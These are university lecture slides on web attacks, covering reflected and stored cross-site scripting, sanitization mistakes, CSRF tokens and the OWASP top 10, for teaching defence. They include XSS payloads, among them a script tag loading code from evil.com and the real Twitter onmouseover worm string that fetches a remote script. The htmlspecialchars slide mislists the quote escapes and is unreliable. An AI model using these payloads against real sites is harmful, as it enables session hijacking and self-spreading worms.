Attacks Against Websites 2

Tom Chothia
Computer Security, Lecture 12
Introduction

• More on Web Attacks:
  – Cross site scripting attacks (XSS)
  – Cross-site request forgery (CSRF)

• OWASP top 10 web attacks.
Cross-site scripting (XSS)

- An input validation vulnerability.
- Allows an attacker to inject client-side code (JavaScript) into web pages.
- This is then served by a vulnerable web application to other users.
Reflected XSS

- The injected code is reflected off the web server
  - an error message,
  - search result,
  - response includes some/all of the input sent to the server as part of the request

- Only the user issuing the malicious request is affected

```java
String searchQuery = request.getParameter("searchQuery");
...
PrintWriter out = response.getWriter();
out.println("<h1>" + "Results for " + searchQuery + "</h1>");

User request:
searchQuery=<script>alert("pwnd")</script>
```
Stored XSS

• The injected code is stored on the web site and served to its visitors on all page views
  – User messages
  – User profiles

• All users affected

```java
String postMsg = db.getPostMsg(0);
...
PrintWriter out = response.getWriter();
out.println("<p>");
out.println("<p>" + postMsg);

postMsg:
<script>alert("pwnd")</script>
```
Solution for injection: sanitization

- Sanitize *all* user inputs is difficult
- Sanitization is context-dependent
  - JavaScript `<script>user input</script>`
  - CSS value `a:hover {color: user input }`
  - URL value `<a href="user input">`
- Sanitization is attack-dependent, e.g.
  - JavaScript
  - SQL
- Blacklisting vs. whitelisting
- Roll-your-own vs. reuse
Spot the problem (1)

```
$www_clean = ereg_replace(
    "[ ^A-Za-z0-9 .-@:// ]" , "" , $www);
echo $www_clean;
```

• Problem: in a character class, ‘.−@’ means “all characters included between ‘.’ and ‘@’”!

• Attack string:
  `<script src=http://evil.com/attack.js/>`

• *Regular expressions can be tricky*
Spot the problem (2)

```php
$clean = preg_replace("#<script(.*?)>(.*?)</script(.*?)>#i", "SCRIPT BLOCKED", $value);
echo $clean;
```

- Problem: over-restrictive sanitization: browsers accept malformed input!
- Attack string: `<script>malicious code</script>`
- *Implementation != Standard*
Spot the problem (3)  
Real Twitter bug

On Twitter if user posts www.site.com, twitter displays:
   <a href="www.site.com">www.site.com</a>

Twitter’s old sanitization algorithm blocked <script> but allowed “.

What happens if somebody tweets:
http://t.co/"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/>

Twitter displays:
<a href="http://t.co/"onmouseover=" $.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"">...</a>
Real-world XSS: From bug to worm

• Anyone putting mouse over such a twitter feed will run JavaScript that puts a similar message in their own feed.

• The actual attack used:

  http://t.co/@"style="font-size:999999999999px;"onmouseover="…/"

  – Why the style part?
Real-world XSS: aftermath

PHP HTML Sanitization

htmlspecialchars() removes characters that might cause problems in HTML:

& becomes &amp
< becomes &lt
> becomes &gt
' becomes &quot
“ becomes &apos

" becomes &apos
Cross-site request forgery (CSRF)

1. Victim is logged into vulnerable web site
2. Victim visits malicious page on attacker web site
3. Malicious content is delivered to victim
4. Victim involuntarily sends a request to the vulnerable web site
Solutions to CSRF (1)

• Check the value of the Referer header

• Attacker cannot spoof the value of the Referer header in the users browser (but the user can).

• Legitimate requests may be stripped of their Referer header
  – Proxies
  – Web application firewalls
Solutions to CSRF (2)

• Every time a form is served, add an additional parameter with a secret value (token) and check that it is valid upon submission

<form>
  <input ...
  <input name="anticsrf" type="hidden"
    value="asdje8121asd26n1"
</form>
Solutions to CSRF (2)

• Every time a form is served, add an additional parameter with a secret value (token) and check that it is valid upon submission

• *If the attacker can guess the token value, then no protection*
Solutions to CSRF (3)

- **Every time** a form is served, add an additional parameter with a secret value (token) and check that it is valid upon submission.

- *If the token is not regenerated each time a form is served, the application may be vulnerable to replay attacks (nonce).*
OWASP top 10.

The Open Web Application Security Project

Open public effort to improve web security:
– Many useful documents.
– Open public meetings & events.

Their “10 top” lists the current biggest web threats.
A1: Injection

- Server side command injection, e.g., SQL injection.

- Not just SQL injection, any command language can be injected.

- E.g. PHP, shell commands, XML processing commands, …
A2: Broken Auth.

Many web developers implement their own log in systems. Often broken, e.g.

• No session time outs.

• Passwords not hashed
  – E.g. password shame list.
A3: XXS

• Cross Side Scripting attacks, as discussed.

• A1 injection is command injection on the server side.

• This is JavaScript injection on the client side.
A4: Insecure Direct Object Reference

Problem: the server trusts the client to request only the resources it should. E.g.

http://site.com/view?user=alice

which we could replace with:

http://site.com/view?user=bob

Also common with cookie values.
A5: Security Misconfiguration

Make sure your security settings don’t give an attacker an advantage, e.g.

- Error Messages: should not be made public.
- Directory Listings: It should not be possible to see the files in a directory.
- Admin panels should not be publically accessible.
A6: Sensitive Data Exposure

All sensitive data should be protected at all times.

• Is SSL used everywhere?

• Credit card numbers not encrypted:
  – CC no. should be encrypted in database. PHP page should decrypt these, if needed.
  – This means that the hacker needs to attack the page and the database.
A7: Missing Function Level Access Control

Query strings are used to tell dynamic webpages what to do

http://myWebShop.com/index.php?
account=tpc&action=add

http://myWebShop.com/index.php?
account=tpc&action=show

What if the attacker tries:
http://myWebShop.com/index.php?
account=admin&action=delete
A8: CSRF

• Cross-Site Request Forgery (CSRF)

• As discussed earlier.

• Defend against by using unique token in the hidden field of important forms.
A9: Using Components with Known Vulnerabilities

- If a new security patch comes out, has it been applied?
  - A patch might require you to bring down the site and so lose money.
  - Or it might even break your website.

- Is it worth applying the patch?
A10: Invalidated Redirects and Forwards

• If attackers can forward a user to another page then they can use it for:
  – Phishing (e.g. a fake log in page)
  – Ad Fraud.
  – Launch exploits on browser.

• Not a major threat (IMHO).
To secure a website you need to know how it works:
- How clients request resources.
- How clients are authenticated.
- How HTTP and webservers work.

Errors are often down to bad app logic.

Always sanitize everything.